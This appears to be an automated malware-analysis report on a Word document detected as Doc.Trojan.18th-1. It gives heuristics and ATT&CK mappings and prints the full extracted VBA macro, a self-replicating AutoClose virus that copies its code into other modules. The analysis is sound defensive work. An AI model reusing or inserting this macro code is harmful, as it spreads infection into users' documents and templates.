MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV and contains VBA macros, specifically an AutoClose macro. The macro code appears to be designed for obfuscation or to facilitate the execution of additional malicious content, although the exact payload is not directly discernible from the provided script. The presence of legacy WordBasic markers and the AutoClose macro suggests an older, but still functional, malicious document.
Heuristics 4
-
ClamAV: Doc.Trojan.18th-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.18th-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 826 bytes |
SHA-256: 058bf7fb03aa0ef8163778f3795ae61a0cd42ddab42c7534fc06f580a76d81b2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - 18th
Sub AutoClose(): Document_Close: End Sub
Private Sub Document_Close()
On Error Resume Next
For ι = 1 To VBE.CodePanes.Count
Set υ = VBE.CodePanes(ι).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0) And ν = 0 Then
λ = υ.Lines(1, υ.CountOfLines): ν = 1: ι = 0
End If
If Not υ.Find("~^^~", 0, 0, 0, 0) And ν = 1 Then
VBE.CodePanes(ι).CodeModule.InsertLines 1, λ
End If
Next
End Sub
Private Sub UserForm_Initialize(): Document_Close: End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.